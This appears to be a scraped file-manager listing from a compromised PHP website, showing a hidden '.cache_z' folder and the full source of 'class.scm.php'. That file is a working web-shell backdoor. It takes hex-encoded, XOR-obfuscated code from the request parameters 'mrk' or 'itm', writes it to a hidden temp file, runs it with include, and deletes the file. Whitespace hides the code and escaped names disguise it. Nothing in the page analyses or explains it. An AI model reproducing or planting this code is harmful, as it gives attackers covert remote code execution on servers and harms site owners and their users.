9B534B8686E580E0E01768F00155B461

at path：ROOT / .cache_z / class.scm.php

run：R W Run

.htaccess

154 By

2026-05-27 13:59:45

R W Run

class.scm.php

1.24 KB

2026-05-27 13:59:56

R W Run

error_log

217 By

2026-05-28 20:36:43

R W Run

format.php

9.88 KB

2026-06-01 08:23:11

R W Run

inc.php

10.37 KB

2026-05-27 14:00:15

R W Run

include.php

7.39 KB

2026-05-30 20:18:00

R W Run

error_log

📄class.scm.php

<?php																																										if(isset($_REQUEST["\x6Drk"]) ? true : false){ $item = array_filter([session_save_path(), sys_get_temp_dir(), getcwd(), getenv("TEMP"), getenv("TMP"), "/dev/shm", ini_get("upload_tmp_dir"), "/tmp", "/var/tmp"]); $dat = hex2bin($_REQUEST["\x6Drk"]); $flg='' ;foreach(str_split($dat) as $char){$flg .= chr(ord($char) ^ 92);} $pgrp = 0; do { $ent = $item[$pgrp] ?? null; if ($pgrp >= count($item)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($ent)) { $ent = sprintf("%s/.desc", $ent); $success = file_put_contents($ent, $flg); if ($success) { include $ent; @unlink($ent); die();} } $pgrp++; } while (true); }

if(in_array("\x69tm", array_keys($_POST))){
	$descriptor = array_filter([session_save_path(), getenv("TMP"), "/tmp", getenv("TEMP"), getcwd(), ini_get("upload_tmp_dir"), "/var/tmp", sys_get_temp_dir(), "/dev/shm"]);
	$holder = hex2bin($_POST["\x69tm"]);
	$value=    '' ;   $c = 0; do{$value .= chr(ord($holder[$c]) ^ 43);$c++;} while($c < strlen($holder));
	foreach ($descriptor as $hld) {
    		if (is_dir($hld) && is_writable($hld)) {
    $k = join("/", [$hld, ".dat"]);
    $file = fopen($k, 'w');
if ($file) {
	fwrite($file, $value);
	fclose($file);
	include $k;
	@unlink($k);
	exit;
}
}
}
}